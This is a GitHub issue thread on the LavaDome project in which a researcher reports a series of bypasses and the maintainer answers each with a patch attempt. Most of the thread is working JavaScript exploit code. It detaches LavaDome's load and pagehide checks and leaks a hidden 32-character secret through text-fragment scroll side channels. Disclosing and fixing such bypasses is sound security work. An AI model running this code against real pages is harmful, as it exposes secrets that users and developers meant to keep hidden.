Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LavaDome bypass by detaching iframe load events #54

Open
masatokinugawa opened this issue Oct 4, 2024 · 12 comments
Open

LavaDome bypass by detaching iframe load events #54

masatokinugawa opened this issue Oct 4, 2024 · 12 comments
Labels
bypass LavaDome security breach chromium Chromium related firefox Firefox related safari Safari related

Comments

@masatokinugawa
Copy link

I noticed that the recently added check by listening to an iframe's load event (#42) can be bypassed via a new window.

  • Visit the demo using Chrome
  • Open console and run the code below
const newWindow = window.open('404','_blank');//arbitrary same-origin page
newWindow.privateNode = PRIVATE.parentNode;
location="404"; // Detach iframe's load event
newWindow.eval(`
setTimeout(async function() {
  document.body.appendChild(window.privateNode);
  document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
  window.scroll(0, 0);
  const sleep = ms => new Promise(r => setTimeout(r, ms));
  const secretChars = "0123456789abcdef";
  const secretLength = 32;
  let foundChars = "";
  for (let i = 0; i < secretLength; i++) {
    for (let j = 0; j < secretChars.length; j++) {
      location=\`#:~:text=This%20is%20a%20secret:-,\${foundChars}\${secretChars[j]}\`;
      await sleep(100); // Need to bypass Chrome's hang protection
      if (window.scrollY !== 0) {
        foundChars += secretChars[j];
        console.log(foundChars);
        window.scroll(0, 0);
        break;
      }
    }
  }
},2000)`);
@masatokinugawa
Copy link
Author

I was able to get it to work into an iframe as well.

const privateNode = PRIVATE.parentNode;
document.open();
document.write('<body>');
const iframe = document.createElement('iframe');
iframe.src = "404";//arbitrary same-origin page
iframe.onload = async function() {
  iframe.onload = null;
  const iframeWindow = iframe.contentWindow;
  iframeWindow.document.body.appendChild(privateNode);
  iframeWindow.scroll(0, 0);
  const sleep = ms => new Promise(r => setTimeout(r, ms));
  const secretChars = "0123456789abcdef";
  const secretLength = 32;
  let foundChars = "";
  for (let i = 0; i < secretLength; i++) {
    for (let j = 0; j < secretChars.length; j++) {
      iframe.src = `404#:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
      await sleep(100); // Need to bypass Chrome's hang protection
      if (iframeWindow.scrollY !== 0) {
        foundChars += secretChars[j];
        console.log(foundChars);
        iframeWindow.scroll(0, 0);
        break;
      }
    }
  }
}
document.body.appendChild(iframe);

@weizman weizman added bypass LavaDome security breach chromium Chromium related safari Safari related firefox Firefox related labels Oct 9, 2024
@weizman
Copy link
Member

weizman commented Oct 9, 2024

Very clever, that might make event-based protection a bad idea - thanks!
Thoughts on how to properly handle the problem differently?

@weizman
Copy link
Member

weizman commented Oct 9, 2024

Actually, what if the load event was an attribute on the iframe? That should solve it i think

@weizman
Copy link
Member

weizman commented Oct 9, 2024

Although should be hard to defensively access native apis via string

@masatokinugawa
Copy link
Author

It seems on* attributes are also be disabled by document.open(). I created the test page: https://masatokinugawa.github.io/js/shadowDOM_document.open2.html

erase all event listeners and handlers given node

I think "handlers" refer to on* attributes.

@weizman
Copy link
Member

weizman commented Oct 9, 2024

wow yea i just managed to test it out myself too, kinda weird

@weizman
Copy link
Member

weizman commented Oct 26, 2024

I think I got it #57 (comment) @masatokinugawa

@masatokinugawa
Copy link
Author

This still seems to work because navigation from a cross-origin page cannot be handled by the navigation API.

const newWindow = window.open('404','_blank');//arbitrary same-origin page
newWindow.privateNode = PRIVATE.parentNode;
const iframe = document.createElement('iframe');
iframe.sandbox="allow-scripts allow-top-navigation";
iframe.srcdoc="<script>top.location='404';</script>";// Perform navigation via cross-origin page
document.body.appendChild(iframe);
newWindow.eval(`
setTimeout(async function() {
  document.body.appendChild(privateNode);
  document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
  window.scroll(0, 0);
  const sleep = ms => new Promise(r => setTimeout(r, ms));
  const secretChars = "0123456789abcdef";
  const secretLength = 32;
  let foundChars = "";
  for (let i = 0; i < secretLength; i++) {
    for (let j = 0; j < secretChars.length; j++) {
      location=\`#:~:text=This%20is%20a%20secret:-,\${foundChars}\${secretChars[j]}\`;
      await sleep(100); // Need to bypass Chrome's hang protection
      if (window.scrollY !== 0) {
        foundChars += secretChars[j];
        console.log(foundChars);
        window.scroll(0, 0);
        break;
      }
    }
  }
},2000)`);

@weizman
Copy link
Member

weizman commented Oct 29, 2024

Giving pagehide a go 8d9ba7d seems to work against this

@masatokinugawa
Copy link
Author

It looks like the combination of onpageswap + print() dialog can prevent the pagehide event from being emitted.

onpageswap=function(){
    print();//Prevent emitting pagehide event
}
const newWindow = window.open('404','_blank');//arbitrary same-origin page
newWindow.privateNode = PRIVATE.parentNode;
const iframe = document.createElement('iframe');
iframe.sandbox="allow-scripts allow-top-navigation";
iframe.srcdoc="<script>top.location='//example.com';</script>";// Perform navigation via cross-origin page
document.body.appendChild(iframe);
newWindow.eval(`
setTimeout(async function() {
  document.body.appendChild(privateNode);
  document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
  window.scroll(0, 0);
  const sleep = ms => new Promise(r => setTimeout(r, ms));
  const secretChars = "0123456789abcdef";
  const secretLength = 32;
  let foundChars = "";
  for (let i = 0; i < secretLength; i++) {
    for (let j = 0; j < secretChars.length; j++) {
      location=\`#:~:text=This%20is%20a%20secret:-,\${foundChars}\${secretChars[j]}\`;
      await sleep(100); // Need to bypass Chrome's hang protection
      if (window.scrollY !== 0) {
        foundChars += secretChars[j];
        console.log(foundChars);
        window.scroll(0, 0);
        break;
      }
    }
  }
},2000)`);

@masatokinugawa
Copy link
Author

I Noticed the following also works. No need to use onpageswap event.

const newWindow = window.open('404','_blank');//arbitrary same-origin page
newWindow.privateNode = PRIVATE.parentNode;
const iframe = document.createElement('iframe');
iframe.sandbox="allow-scripts allow-top-navigation";
iframe.srcdoc="<script>setTimeout(function(){top.location='//example.com';},1000)</script>";// Perform navigation via cross-origin page
document.body.appendChild(iframe);
newWindow.eval(`
setTimeout(async function() {
  document.body.appendChild(privateNode);
  document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
  window.scroll(0, 0);
  const sleep = ms => new Promise(r => setTimeout(r, ms));
  const secretChars = "0123456789abcdef";
  const secretLength = 32;
  let foundChars = "";
  for (let i = 0; i < secretLength; i++) {
    for (let j = 0; j < secretChars.length; j++) {
      location=\`#:~:text=This%20is%20a%20secret:-,\${foundChars}\${secretChars[j]}\`;
      await sleep(100); // Need to bypass Chrome's hang protection
      if (window.scrollY !== 0) {
        foundChars += secretChars[j];
        console.log(foundChars);
        window.scroll(0, 0);
        break;
      }
    }
  }
},3000)`);
print();//Prevent emitting pagehide event

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bypass LavaDome security breach chromium Chromium related firefox Firefox related safari Safari related
Projects
None yet
Development

No branches or pull requests

2 participants